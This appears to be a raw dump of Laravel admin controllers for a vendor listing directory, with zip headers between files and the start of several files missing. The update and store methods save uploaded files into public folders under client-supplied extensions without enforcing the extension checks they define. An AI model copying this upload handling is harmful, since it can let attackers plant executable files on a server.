Vendor::join('memberships', 'vendors.id', '=', 'memberships.vendor_id') ->where([ ['memberships.status', '=', 1], ['memberships.start_date', '<=', Carbon::now()->format('Y-m-d')], ['memberships.expire_date', '>=', Carbon::now()->format('Y-m-d')] ]) ->select('vendors.id', 'vendors.username') ->get(); return view('admin.listing.select-vendor', $information); } public function findVendor(Request $request) { return redirect()->route('admin.listing_management.create_listing', ['vendor_id' => $request->vendor_id ?? 0]); } public function imagesstore(Request $request) { $img = $request->file('file'); $allowedExts = array('jpg', 'png', 'jpeg', 'svg', 'webp'); $rules = [ 'file' => [ function ($attribute, $value, $fail) use ($img, $allowedExts) { $ext = $img->getClientOriginalExtension(); if (!in_array($ext, $allowedExts)) { return $fail("Only png, jpg, jpeg images are allowed"); } }, ] ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { $validator->getMessageBag()->add('error', 'true'); return response()->json($validator->errors()); } $filename = uniqid() . '.jpg'; $directory = public_path('assets/img/listing-gallery/'); @mkdir($directory, 0775, true); $img->move($directory, $filename); $pi = new ListingImage(); $pi->image = $filename; $pi->save(); return response()->json(['status' => 'success', 'file_id' => $pi->id]); } public function imagermv(Request $request) { $pi = ListingImage::findOrFail($request->fileid); $image_count = ListingImage::where('listing_id', $pi->listing_id)->get()->count(); if ($image_count > 1) { @unlink(public_path('assets/img/listing-gallery/') . $pi->image); $pi->delete(); return $pi->id; } else { return 'false'; } } public function imagedbrmv(Request $request) { $pi = ListingImage::findOrFail($request->fileid); $image_count = ListingImage::where('listing_id', $pi->listing_id)->get()->count(); if ($image_count > 1) { @unlink(public_path('assets/img/listing-gallery/') . $pi->image); $pi->delete(); Session::flash('success', 'Slider image deleted successfully!'); return Response::json(['status' => 'success'], 200); } else { Session::flash('warning', 'You can\'t delete all images.!!'); return Response::json(['status' => 'success'], 200); } } public function getState(Request $request) { $data['states'] = State::where('country_id', $request->id)->get(); $data['cities'] = City::where('country_id', $request->id)->get(); return $data; } public function getVideo(Request $request) { return view('admin.listing.video')->render(); } public function getCity(Request $request) { $data = City::where('state_id', $request->id)->get(); return $data; } public function store(ListingStoreRequest $request) { if ($request->can_listing_add == 2) { Session::flash('warning', 'Listings limit reached or exceeded'); return Response::json(['status' => 'success'], 200); } elseif ($request->can_listing_add == 1) { DB::transaction(function () use ($request) { $featuredImgURL = $request->feature_image; $videoImgURL = $request->video_background_image; $languages = Language::all(); $in = $request->all(); if ($featuredImgURL) { $featuredImgExt = $featuredImgURL->getClientOriginalExtension(); // set a name for the featured image and store it to local storage $featuredImgName = time() . '.' . $featuredImgExt; $featuredDir = public_path('assets/img/listing/'); if (!file_exists($featuredDir)) { @mkdir($featuredDir, 0777, true); } copy($featuredImgURL, $featuredDir . $featuredImgName); $in['feature_image'] = $featuredImgName; } if ($videoImgURL) { $videoImgExt = $videoImgURL->getClientOriginalExtension(); // set a name for the featured image and store it to local storage $videoImgName = time() . '.' . $videoImgExt; $videoDir = public_path('assets/img/listing/video/'); if (!file_exists($videoDir)) { @mkdir($videoDir, 0777, true); } copy($videoImgURL, $videoDir . $videoImgName); $in['video_background_image'] = $videoImgName; } $videoLink = $request->video_url; if ($videoLink) { if (strpos($videoLink, "&") != false) { $videoLink = substr($videoLink, 0, strpos($videoLink, "&")); } $in['video_url'] = $videoLink; } $listing = Listing::create($in); $siders = $request->slider_images; if ($siders) { $pis = ListingImage::findOrFail($siders); foreach ($pis as $key => $pi) { $pi->listing_id = $listing->id; $pi->save(); } } foreach ($languages as $language) { $listingContent = new ListingContent(); $listingContent->language_id = $language->id; $listingContent->listing_id = $listing->id; $listingContent->title = $request[$language->code . '_title']; $listingContent->slug = createSlug($request[$language->code . '_title']); $listingContent->category_id = $request[$language->code . '_category_id']; $listingContent->country_id = $request[$language->code . '_country_id']; $listingContent->state_id = $request[$language->code . '_state_id']; $listingContent->city_id = $request[$language->code . '_city_id']; $listingContent->address = $request[$language->code . '_address']; $aminities = $request->input($language->code . '_aminities', []); $listingContent->aminities = json_encode($aminities); $listingContent->description = Purifier::clean($request[$language->code . '_description'], 'youtube'); $listingContent->meta_keyword = $request[$language->code . '_meta_keyword']; $listingContent->meta_description = $request[$language->code . '_meta_description']; $listingContent->save(); } $days = ['Saturday', 'Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday']; foreach ($days as $day) { $businessHours = new BusinessHour(); $businessHours->listing_id = $listing->id; $businessHours->day = $day; $businessHours->start_time = "10:00 AM"; $businessHours->end_time = "07:00 PM"; $businessHours->holiday = 1; $businessHours->save(); } }); Session::flash('success', 'New Listing added successfully!'); return Response::json(['status' => 'success'], 200); } else { Session::flash('warning', 'This vendor doesn\'t buy a plan!'); return Response::json(['status' => 'error'], 200); } } public function updateStatus(Request $request) { $listing = Listing::findOrFail($request->listingId); if ($request->status == 1) { $listing->update(['status' => 1]); Session::flash('success', 'Listing Approved successfully!'); } elseif ($request->status == 2) { $listing->update(['status' => 2]); Session::flash('success', 'Listing Rejected successfully!'); } else { $listing->update(['status' => 0]); Session::flash('success', 'Listing Pending successfully!'); } return redirect()->back(); } public function updateVisibility(Request $request) { $listing = Listing::findOrFail($request->listingId); if ($request->visibility == 1) { $listing->update(['visibility' => 1]); Session::flash('success', 'Listing Show successfully!'); } if ($request->visibility == 0) { $listing->update(['visibility' => 0]); Session::flash('success', 'Listing Hide successfully!'); } return redirect()->back(); } public function updateFeatured(Request $request) { $rules = [ 'charge' => 'required', ]; $message = [ 'charge.required' => 'The charge field is required.' ]; $validator = Validator::make($request->all(), $rules, $message); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } if (!$request->exists('charge')) { $errorMessageKey = "select_days_" . $request->listing_id; Session::flash($errorMessageKey, 'Please select promotion list.'); return redirect()->back()->withInput(); } $gatewayId = $request->gateway; $offlineGateway = OfflineGateway::query()->find($gatewayId); $chargeID = $request->charge; $charge = FeaturedListingCharge::findorfail($chargeID); $startDate = Carbon::now()->startOfDay(); $endDate = $startDate->copy()->addDays($charge->days); $vendor_id = Listing::where('id', $request->listing_id)->pluck('vendor_id')->first(); $be = Basic::select('to_mail')->firstOrFail(); if ($vendor_id != 0) { $vendor = Vendor::where('id', $vendor_id)->select('to_mail', 'username', 'email')->first(); if (isset($vendor->to_mail)) { $to_mail = $vendor->to_mail; } else { $to_mail = $vendor->email; } } else { $to_mail = $be->to_mail; } $order = FeatureOrder::where('listing_id', $request->listing_id)->first(); if (empty($order)) { $order = new FeatureOrder(); } $order->listing_id = $request->listing_id; $order->vendor_id = $vendor_id; $order->vendor_mail = $to_mail; $order->order_number = uniqid(); $order->total = $charge->price; $order->payment_method = $offlineGateway ? $offlineGateway->name : $gatewayId; $order->gateway_type = "offline"; $order->payment_status = "completed"; $order->order_status = 'completed'; $order->attachment = null; $order->days = $charge->days; $order->start_date = $startDate; $order->end_date = $endDate; $order->save(); Session::flash('success', 'Listing Featured successfully!'); return redirect()->back(); } public function edit($id) { $vendorId = Listing::where('id', $id)->pluck('vendor_id')->first(); if ($vendorId != 0) { $current_package = VendorPermissionHelper::packagePermission($vendorId); if ($current_package != '[]') { $listing = Listing::with('galleries')->findOrFail($id); $information['listing'] = $listing; $information['languages'] = Language::all(); $information['vendors'] = Vendor::get(); return view('admin.listing.edit', $information); } else { Session::flash('warning', 'This vendor has not a plan'); return redirect()->route('admin.listing_management.listing'); } } else { $listing = Listing::with('galleries')->findOrFail($id); $information['listing'] = $listing; $information['languages'] = Language::all(); $information['vendors'] = Vendor::get(); return view('admin.listing.edit', $information); } } public function videoImageRemove($id) { $Listing = Listing::Where('id', $id)->first(); $Listing->video_background_image = null; $Listing->save(); Session::flash('success', 'Successfully Delete Video Image'); return Response::json(['status' => 'success'], 200); } public function update(ListingUpdateRequest $request, $id) { $featuredImgURL = $request->thumbnail; $videoImgURL = $request->video_background_image; $allowedExts = array('jpg', 'png', 'jpeg', 'svg'); if ($request->hasFile('thumbnail')) { $rules['thumbnail'] = [ 'required', function ($attribute, $value, $fail) use ($featuredImgURL, $allowedExts) { $ext = $featuredImgURL->getClientOriginalExtension(); if (!in_array($ext, $allowedExts)) { return $fail("Only png, jpg, jpeg images are allowed"); } }, ]; } if ($request->hasFile('video_background_image')) { $rules['video_background_image'] = [ 'required', function ($attribute, $value, $fail) use ($featuredImgURL, $allowedExts) { $ext = $featuredImgURL->getClientOriginalExtension(); if (!in_array($ext, $allowedExts)) { return $fail("Only png, jpg, jpeg images are allowed"); } }, ]; } $languages = Language::all(); $in = $request->all(); $listing = Listing::findOrFail($request->listing_id); if ($request->hasFile('thumbnail')) { $featuredImgExt = $featuredImgURL->getClientOriginalExtension(); $featuredImgName = time() . '.' . $featuredImgExt; $featuredDir = public_path('assets/img/listing/'); if (!file_exists($featuredDir)) { mkdir($featuredDir, 0777, true); } copy($featuredImgURL, $featuredDir . $featuredImgName); @unlink(public_path('assets/img/listing/') . $listing->feature_image); $in['feature_image'] = $featuredImgName; } if ($request->hasFile('video_background_image')) { $videoImgExt = $videoImgURL->getClientOriginalExtension(); $videoImgName = time() . '.' . $videoImgExt; $videoDir = public_path('assets/img/listing/video/'); if (!file_exists($videoDir)) { mkdir($videoDir, 0777, true); } copy($videoImgURL, $videoDir . $videoImgName); @unlink(public_path('assets/img/listing/video/') . $listing->video_background_image); $in['video_background_image'] = $videoImgName; } $videoLink = $request->video_url; if ($videoLink) { if (strpos($videoLink, "&") != false) { $videoLink = substr($videoLink, 0, strpos($videoLink, "&")); } $in['video_url'] = $videoLink; } $listing = $listing->update($in); $slders = $request->slider_images; if ($slders) { $pis = ListingImage::findOrFail($slders); foreach ($pis as $key => $pi) { $pi->listing_id = $request->listing_id; $pi->save(); } } foreach ($languages as $language) { $listingContent = ListingContent::where('listing_id', $request->listing_id)->where('language_id', $language->id)->first(); if (empty($listingContent)) { $listingContent = new ListingContent(); } $listingContent->language_id = $language->id; $listingContent->title = $request[$language->code . '_title']; $listingContent->slug = createSlug($request[$language->code . '_title']); $listingContent->category_id = $request[$language->code . '_category_id']; $listingContent->country_id = $request[$language->code . '_country_id']; $listingContent->state_id = $request[$language->code . '_state_id']; $listingContent->city_id = $request[$language->code . '_city_id']; $listingContent->address = $request[$language->code . '_address']; $aminities = $request->input($language->code . '_aminities', []); $listingContent->aminities = json_encode($aminities); $listingContent->description = Purifier::clean($request[$language->code . '_description'], 'youtube'); $listingContent->meta_keyword = $request[$language->code . '_meta_keyword']; $listingContent->meta_description = $request[$language->code . '_meta_description']; $listingContent->save(); } Session::flash('success', 'Listing Updated successfully!'); return Response::json(['status' => 'success'], 200); } public function manageSocialLink($id) { Listing::findOrFail($id); $permission = socialLinksPermission($id); if ($permission) { $information['listing_id'] = $id; $socialLink = ListingSocialMedia::Where('listing_id', $id)->get(); $information['socialLinks'] = $socialLink; return view('admin.listing.social-link', $information); } else { Session::flash('warning', "This Vendor Social Link Permission is not granted."); return redirect()->route('admin.listing_management.listing'); } } public function updateSocialLink(Request $request, $id) { $vendorId = Listing::where('id', $id) ->pluck('vendor_id') ->first(); if ($vendorId != 0) { $SocialLinkLimit = packageTotalSocialLink($vendorId); } else { $SocialLinkLimit = 99999999; } $request->validate([ 'socail_link' => [ 'sometimes', 'array', 'max:' . $SocialLinkLimit, ], 'socail_link.*' => [ 'required', ], 'icons' => 'required', ]); ListingSocialMedia::where('listing_id', $id)->delete(); $iconsString = ($request->icons); $iconArray = explode(',', $iconsString); if (!empty($request->socail_link)) { foreach ($request->socail_link as $key => $link) { ListingSocialMedia::create([ 'listing_id' => $id, 'link' => $link, 'icon' => $iconArray[$key] ]); } } Session::flash('success', 'Social Link Updated successfully!'); return Response::json(['status' => 'success'], 200); } public function manageAdditionalSpecification($id) { Listing::findOrFail($id); $permission = additionalSpecificationsPermission($id); if ($permission) { $information['listing_id'] = $id; $information['languages'] = Language::all(); $information['features'] = ListingFeature::where('listing_id', $id)->get(); $information['totalFeature'] = ListingFeature::where('listing_id', $id)->count(); return view('admin.listing.feature', $information); } else { Session::flash('warning', "This Vendor Additonal Specification is not granted."); return redirect()->route('admin.listing_management.listing'); } } public function updateAdditionalSpecification(Request $request, $id) { $vendorId = Listing::where('id', $id) ->pluck('vendor_id') ->first(); if ($vendorId != 0) { $additionalFeatureLimit = packageTotalAdditionalSpecification($vendorId); } else { $additionalFeatureLimit = 99999999; } $rules = []; $messages = []; $languages = Language::all(); foreach ($languages as $language) { $rules[$language->code . '_feature_heading'] = 'sometimes|array|max:' . $additionalFeatureLimit; $rules[$language->code . '_feature_heading.*'] = 'required'; $messages[$language->code . '_feature_heading.*.required'] = 'The ' . $language->name . ' Feature Heading is required.'; $messages[$language->code . '_feature_heading.array'] = 'The ' . $language->name . ' Feature Heading must be an array.'; $messages[$language->code . '_feature_heading.max'] = 'Maximum ' . $additionalFeatureLimit . ' Additional Features can be added per listing for ' . $language->name . ' Language'; } $listingFeatures = ListingFeature::where('listing_id', $id)->get(); foreach ($listingFeatures as $listingFeature) { $listingFeaturesContents = ListingFeatureContent::where('listing_feature_id', $listingFeature->id)->get(); foreach ($listingFeaturesContents as $listingFeaturesContent) { $listingFeaturesContent->delete(); } $listingFeature->delete(); } foreach ($languages as $language) { if (!empty(($request[$language->code . '_feature_heading']))) { foreach ($request[$language->code . '_feature_heading'] as $key => $v_helper) { $feature_value = $request[$language->code . '_feature_value_' . $key]; $listing_feature = ListingFeature::where([['listing_id', $id], ['indx', $key]])->first(); if (is_null($listing_feature)) { ListingFeature::create([ 'listing_id' => $id, 'indx' => $key ]); } $listing_feature = ListingFeature::where([['listing_id', $id], ['indx', $key]])->first(); $listing_specification_content = new ListingFeatureContent(); $listing_specification_content->language_id = $language->id; $listing_specification_content->listing_feature_id = $listing_feature->id; $listing_specification_content->feature_heading = $v_helper; $listing_specification_content->feature_value = json_encode($feature_value); $listing_specification_content->save(); } } } Session::flash('success', 'Feature Updated successfully!'); return Response::json(['status' => 'success'], 200); } public function delete($id) { $listing = Listing::findOrFail($id); //delete all the contents of this listing $contents = $listing->listing_content()->get(); foreach ($contents as $content) { $content->delete(); } // delete feature_image image and video image of this listing if (!is_null($listing->feature_image)) { @unlink(public_path('assets/img/listing/') . $listing->feature_image); } if (!is_null($listing->video_background_image)) { @unlink(public_path('assets/img/listing/video/') . $listing->video_background_image); } //delete all the images of this listing $galleries = $listing->galleries()->get(); foreach ($galleries as $gallery) { @unlink(public_path('assets/img/listing-gallery/') . $gallery->image); $gallery->delete(); } //delete all Features for this listing $listingFeatures = $listing->specifications()->get(); foreach ($listingFeatures as $listingFeature) { $listingFeaturesContents = ListingFeatureContent::where('listing_feature_id', $listingFeature->id)->get(); foreach ($listingFeaturesContents as $listingFeaturesContent) { $listingFeaturesContent->delete(); } $listingFeature->delete(); } //delete feature order $featureOrders = FeatureOrder::where('listing_id', $id)->get(); if (!is_null($featureOrders)) { foreach ($featureOrders as $order) { if (!is_null($order->attachment)) { @unlink(public_path('assets/file/attachments/feature-activation/') . $order->attachment); } $order->delete(); } } //delete all message for this listing $listingMessages = ListingMessage::where('listing_id', $id)->get(); if (!is_null($listingMessages)) { foreach ($listingMessages as $message) { $message->delete(); } } //delete all reviews for this listing $reviews = ListingReview::where('listing_id', $id)->get(); if (!is_null($reviews)) { foreach ($reviews as $review) { $review->delete(); } } //delete all visit for this listing $visitors = Visitor::where('listing_id', $id)->get(); if (!is_null($visitors)) { foreach ($visitors as $visitor) { $visitor->delete(); } } //delete all faq for this listing $faqs = $listing->listingFaqs()->get(); foreach ($faqs as $faq) { $faq->delete(); } //delete all follow us for this listing $sociallinks = $listing->sociallinks()->get(); foreach ($sociallinks as $sociallink) { $sociallink->delete(); } //delete all business hours for this listing BusinessHour::where('listing_id', $id)->delete(); //delete all products $products = ListingProduct::where('listing_id', $id)->get(); if (!is_null($products)) { foreach ($products as $product) { $productcontents = $product->listing_product_content()->get(); //delete all product contents foreach ($productcontents as $productcontent) { $productcontent->delete(); } //delete product feature image if (!is_null($product->feature_image)) { @unlink(public_path('assets/img/listing/product/') . $product->feature_image); } //delete all product slider images $galleries = $product->galleries()->get(); foreach ($galleries as $gallery) { @unlink(public_path('assets/img/listing/product-gallery/') . $gallery->image); $gallery->delete(); } //delete this product //delete all message for this listing $productMessages = ProductMessage::where('product_id', $product->id)->get(); if (!is_null($productMessages)) { foreach ($productMessages as $message) { $message->delete(); } } $product->delete(); } } // finally, delete this listing $listing->delete(); Session::flash('success', 'Listing deleted successfully!'); return redirect()->back(); } public function bulkDelete(Request $request) { $ids = $request->ids; foreach ($ids as $id) { $listing = Listing::findOrFail($id); //delete all the contents of this listing $contents = $listing->listing_content()->get(); foreach ($contents as $content) { $content->delete(); } // delete feature_image image and video image of this listing if (!is_null($listing->feature_image)) { @unlink(public_path('assets/img/listing/') . $listing->feature_image); } if (!is_null($listing->video_background_image)) { @unlink(public_path('assets/img/listing/video/') . $listing->video_background_image); } //delete all the images of this listing $galleries = $listing->galleries()->get(); foreach ($galleries as $gallery) { @unlink(public_path('assets/img/listing-gallery/') . $gallery->image); $gallery->delete(); } //delete all Features for this listing $listingFeatures = $listing->specifications()->get(); foreach ($listingFeatures as $listingFeature) { $listingFeaturesContents = ListingFeatureContent::where('listing_feature_id', $listingFeature->id)->get(); foreach ($listingFeaturesContents as $listingFeaturesContent) { $listingFeaturesContent->delete(); } $listingFeature->delete(); } //delete feature order $featureOrders = FeatureOrder::where('listing_id', $id)->get(); if (!is_null($featureOrders)) { foreach ($featureOrders as $order) { if (!is_null($order->attachment)) { @unlink(public_path('assets/file/attachments/feature-activation/') . $order->attachment); } $order->delete(); } } //delete all message for this listing $listingMessages = ListingMessage::where('listing_id', $id)->get(); if (!is_null($listingMessages)) { foreach ($listingMessages as $message) { $message->delete(); } } //delete all reviews for this listing $reviews = ListingReview::where('listing_id', $id)->get(); if (!is_null($reviews)) { foreach ($reviews as $review) { $review->delete(); } } //delete all visit for this listing $visitors = Visitor::where('listing_id', $id)->get(); if (!is_null($visitors)) { foreach ($visitors as $visitor) { $visitor->delete(); } } //delete all faq for this listing $faqs = $listing->listingFaqs()->get(); foreach ($faqs as $faq) { $faq->delete(); } //delete all follow us for this listing $sociallinks = $listing->sociallinks()->get(); foreach ($sociallinks as $sociallink) { $sociallink->delete(); } //delete all business hours for this listing BusinessHour::where('listing_id', $id)->delete(); //delete all products $products = ListingProduct::where('listing_id', $id)->get(); if (!is_null($products)) { foreach ($products as $product) { $productcontents = $product->listing_product_content()->get(); //delete all product contents foreach ($productcontents as $productcontent) { $productcontent->delete(); } //delete product feature image if (!is_null($product->feature_image)) { @unlink(public_path('assets/img/listing/product/') . $product->feature_image); } //delete all product slider images $galleries = $product->galleries()->get(); foreach ($galleries as $gallery) { @unlink(public_path('assets/img/listing/product-gallery/') . $gallery->image); $gallery->delete(); } //delete this product //delete all message for this listing $productMessages = ProductMessage::where('product_id', $product->id)->get(); if (!is_null($productMessages)) { foreach ($productMessages as $message) { $message->delete(); } } $product->delete(); } } // finally, delete this listing $listing->delete(); } Session::flash('success', 'Listing deleted successfully!'); return response()->json(['status' => 'success'], 200); } public function featureDelete(Request $request) { $listing_feature = ListingFeature::find($request->spacificationId); $listing_feature_contents = ListingFeatureContent::where('listing_feature_id', $listing_feature->id)->get(); foreach ($listing_feature_contents as $listing_feature_content) { $listing_feature_content->delete(); } $listing_feature->delete(); Session::flash('success', 'Feature deleted successfully!'); return Response::json(['status' => 'success'], 200); } public function socialDelete(Request $request) { $listing_feature = ListingSocialMedia::find($request->socialID); $listing_feature->delete(); Session::flash('success', 'Socail Link deleted successfully!'); return Response::json(['status' => 'success'], 200); } public function plugins($id) { Listing::findorFail($id); $vendorId = Listing::where('id', $id)->pluck('vendor_id')->first(); $language = Language::where('is_default', 1)->first(); $information['title'] = ListingContent::where([['language_id', $language->id], ['listing_id', $id]]) ->select('title') ->first(); if ($vendorId != 0) { $current_package = VendorPermissionHelper::packagePermission($vendorId); if ($current_package != '[]') { $information['data'] = DB::table('listings') ->where('id', $id) ->select('whatsapp_status', 'whatsapp_number', 'whatsapp_header_title', 'whatsapp_popup_status', 'whatsapp_popup_message', 'tawkto_status', 'tawkto_direct_chat_link', 'telegram_status', 'telegram_username', 'messenger_status', 'messenger_direct_chat_link') ->first(); $information['id'] = $id; return view('admin.listing.plugins', $information); } else { Session::flash('warning', 'This vendor has not a plan'); return redirect()->route('admin.listing_management.listing'); } } else { $information['data'] = DB::table('listings') ->where('id', $id) ->select('whatsapp_status', 'whatsapp_number', 'whatsapp_header_title', 'whatsapp_popup_status', 'whatsapp_popup_message', 'tawkto_status', 'tawkto_direct_chat_link', 'telegram_status', 'telegram_username', 'messenger_status', 'messenger_direct_chat_link') ->first(); $information['id'] = $id; return view('admin.listing.plugins', $information); } } public function updateTelegram(Request $request, $id) { $rules = [ 'telegram_status' => 'required', 'telegram_username' => 'required' ]; $messages = [ 'telegram_status.required' => 'The Telegram status field is required.', 'telegram_username.required' => 'The Telegram Username field is required.' ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } DB::table('listings')->where('id', $id)->update( [ 'telegram_status' => $request->telegram_status, 'telegram_username' => $request->telegram_username ] ); Session::flash('success', 'Telegram info updated successfully!'); return redirect()->back(); } public function updateTawkTo(Request $request, $id) { $rules = [ 'tawkto_status' => 'required', 'tawkto_direct_chat_link' => 'required' ]; $messages = [ 'tawkto_status.required' => 'The tawk.to status field is required.', 'tawkto_direct_chat_link.required' => 'The tawk.to direct chat link field is required.' ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } DB::table('listings')->where('id', $id)->update( [ 'tawkto_status' => $request->tawkto_status, 'tawkto_direct_chat_link' => $request->tawkto_direct_chat_link ] ); Session::flash('success', 'Tawk.To info updated successfully!'); return redirect()->back(); } public function updateWhatsApp(Request $request, $id) { $rules = [ 'whatsapp_status' => 'required', 'whatsapp_number' => 'required', 'whatsapp_header_title' => 'required', 'whatsapp_popup_status' => 'required', 'whatsapp_popup_message' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } DB::table('listings')->where('id', $id)->update( [ 'whatsapp_status' => $request->whatsapp_status, 'whatsapp_number' => $request->whatsapp_number, 'whatsapp_header_title' => $request->whatsapp_header_title, 'whatsapp_popup_status' => $request->whatsapp_popup_status, 'whatsapp_popup_message' => $request->whatsapp_popup_message ] ); Session::flash('success', 'WhatsApp info updated successfully!'); return redirect()->back(); } public function updateMessanger(Request $request, $id) { $rules = [ 'messenger_status' => 'required', 'messenger_direct_chat_link' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } DB::table('listings')->where('id', $id)->update( [ 'messenger_status' => $request->messenger_status, 'messenger_direct_chat_link' => $request->messenger_direct_chat_link ] ); Session::flash('success', 'Messanger info updated successfully!'); return redirect()->back(); } public function businessHours($id) { Listing::findorFail($id); $permissions = businessHoursPermission($id); if ($permissions) { $information['id'] = $id; $information['days'] = DB::table('business_hours') ->Where('listing_id', $id) ->get(); $language = Language::where('is_default', 1)->first(); $information['title'] = ListingContent::where([['language_id', $language->id], ['listing_id', $id]]) ->select('title') ->first(); return view('admin.listing.business-hours', $information); } else { Session::flash('warning', "Your Business Hours Permission is not granted."); return redirect()->route('admin.listing_management.listing'); } } public function updateHoliday(Request $request) { $listing = BusinessHour::findOrFail($request->holidayId); if ($request->holiday == 1) { $listing->update(['holiday' => 1]); Session::flash('success', 'Holiday Updated successfully!'); } else { $listing->update(['holiday' => 0]); Session::flash('success', 'Holiday Updated successfully!'); } return Response::json(['status' => 'success'], 200); } public function updateBusinessHours(Request $request, $id) { $days = ['Saturday', 'Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday']; foreach ($days as $day) { $businessHours = BusinessHour::where('id', $request[$day . '_id'])->first(); if (empty($businessHours)) { $businessHours = new BusinessHour(); } $businessHours->start_time = $request[$day . '_start_time']; $businessHours->end_time = $request[$day . '_end_time']; $businessHours->save(); } Session::flash('success', 'Business Hours Updated successfully!'); return back(); } } PK(\/6{yUU0Http/Controllers/Admin/Listing/FaqController.phpnu[language)) { $language = Language::where('is_default', 1)->first(); } else { $language = Language::query()->where('code', '=', $request->language)->firstOrFail(); } $information['language'] = $language; $title = ListingContent::Where('listing_id', $id) ->where('language_id', $language->id) ->first(); $information['title'] = $title; $information['faqs'] = ListingFaq::Where('listing_id', $id) ->where('language_id', $language->id) ->orderByDesc('serial_number') ->get(); $information['slug'] = ListingContent::where([['listing_id', $id], ['language_id', $language->id]])->pluck('slug')->first(); $information['langs'] = Language::all(); $information['listing_id'] = $id; return view('admin.listing.faq.index', $information); } else { Session::flash('warning', "This Vendor FAQ Permission is not granted."); return redirect()->route('admin.listing_management.listing'); } } public function store(Request $request) { $totalFaq = ListingFaq::where('listing_id', $request->listing_id) ->where('language_id', $request->language_id) ->count(); if ($totalFaq < packageTotalFaqs($request->listing_id)) { $rules = [ 'language_id' => 'required', 'question' => 'required', 'answer' => 'required', 'serial_number' => 'required' ]; $message = [ 'language_id.required' => 'The language field is required.' ]; $validator = Validator::make($request->all(), $rules, $message); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag()->toArray() ], 400); } ListingFaq::query()->create($request->all()); Session::flash('success', 'New faq added successfully!'); return Response::json(['status' => 'success'], 200); } else { Session::flash('warning', "FAQ limit reached or exceeded"); return Response::json(['status' => 'success'], 200); } } public function update(Request $request) { $rules = [ 'question' => 'required', 'answer' => 'required', 'serial_number' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag()->toArray() ], 400); } $faq = ListingFaq::query()->find($request->id); $faq->update($request->all()); Session::flash('success', 'FAQ updated successfully!'); return Response::json(['status' => 'success'], 200); } public function destroy($id) { $faq = ListingFaq::query()->find($id); $faq->delete(); return redirect()->back()->with('success', 'FAQ deleted successfully!'); } public function bulkDestroy(Request $request) { $ids = $request->ids; foreach ($ids as $id) { $faq = ListingFaq::query()->find($id); $faq->delete(); } Session::flash('success', 'FAQs deleted successfully!'); return Response::json(['status' => 'success'], 200); } } PK(\WUNG  5Http/Controllers/Admin/Listing/CategoryController.phpnu[language)->firstOrFail(); $information['language'] = $language; // then, get the equipment categories of that language from db $information['categories'] = $language->listingCategory()->orderByDesc('id')->get(); $information['langs'] = Language::all(); return view('admin.listing.category.index', $information); } public function store(Request $request) { $rules = [ 'icon' => 'required', 'language_id' => 'required', 'name' => [ 'required', Rule::unique('listing_categories')->where(function ($query) use ($request) { return $query->where('language_id', $request->input('language_id')); }), 'max:255', ], 'status' => 'required|numeric', 'serial_number' => 'required|numeric' ]; $message = [ 'language_id.required' => 'The language field is required.' ]; $validator = Validator::make($request->all(), $rules, $message); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } $in = $request->all(); $in['slug'] = createSlug($request->name); ListingCategory::create($in); Session::flash('success', 'New Listing category added successfully!'); return Response::json(['status' => 'success'], 200); } public function update(Request $request) { $rules = [ 'icon' => 'required', 'name' => [ 'required', Rule::unique('listing_categories')->where(function ($query) use ($request) { return $query->where('language_id', $request->input('language_id')); })->ignore($request->id, 'id'), 'max:255', ], 'status' => 'required|numeric', 'serial_number' => 'required|numeric' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } $category = ListingCategory::find($request->id); $in = $request->all(); $in['slug'] = createSlug($request->name); $category->update($in); Session::flash('success', 'Listing category updated successfully!'); return Response::json(['status' => 'success'], 200); } public function destroy($id) { $category = ListingCategory::find($id); $listingContents = $category->listing_contents()->get(); if (count($listingContents) > 0) { return redirect()->back()->with('warning', 'First delete all the listing of this category!'); } else { $category->delete(); return redirect()->back()->with('success', 'Category deleted successfully!'); } } public function bulkDestroy(Request $request) { $ids = $request->ids; $errorOccurred = false; foreach ($ids as $id) { $category = ListingCategory::find($id); $listingContents = $category->listing_contents()->get(); if (count($listingContents) > 0) { $errorOccurred = true; break; } else { $category->delete(); } } if ($errorOccurred == true) { Session::flash('warning', 'First delete all the listing of these categories!'); } else { Session::flash('success', 'Listing categories deleted successfully!'); } return Response::json(['status' => 'success'], 200); } } PK(\ FF4Http/Controllers/Admin/Listing/ProductController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; $language_id = $language->id; $d = ListingContent::where([['language_id', $language_id], ['listing_id', $id]]) ->select('title') ->first(); $title = ListingContent::where([['language_id', $language_id], ['listing_id', $id]]) ->select('title', 'slug', 'listing_id') ->first(); $information['title'] = $title; $information['dd'] = $d; $information['listing_id'] = $id; $information['listing_products'] = ListingProduct::with([ 'listing_product_content' => function ($q) use ($id) { $q->where('listing_id', $id); }, ]) ->where('listing_id', $id) ->orderBy('id', 'desc') ->paginate(10); return view('admin.listing.product.index', $information); } else { Session::flash('warning', "This Vendor Product Permission is not granted."); return redirect()->route('admin.listing_management.listing'); } } public function create($id) { $permissions = productPermission($id); if ($permissions) { $information['listing_id'] = $id; $information['currencyInfo'] = $this->getCurrencyInfo(); $languages = Language::all(); $languages->map(function ($language) { $language['categories'] = $language->productCategory()->where('status', 1)->orderByDesc('id')->get(); }); $information['languages'] = $languages; return view('admin.listing.product.create', $information); } else { Session::flash('warning', "This Vendor Product Permission is not granted."); return redirect()->route('admin.listing_management.listing'); } } public function imagesstore(Request $request) { $img = $request->file('file'); $allowedExts = array('jpg', 'png', 'jpeg', 'svg', 'webp'); $rules = [ 'file' => [ function ($attribute, $value, $fail) use ($img, $allowedExts) { $ext = $img->getClientOriginalExtension(); if 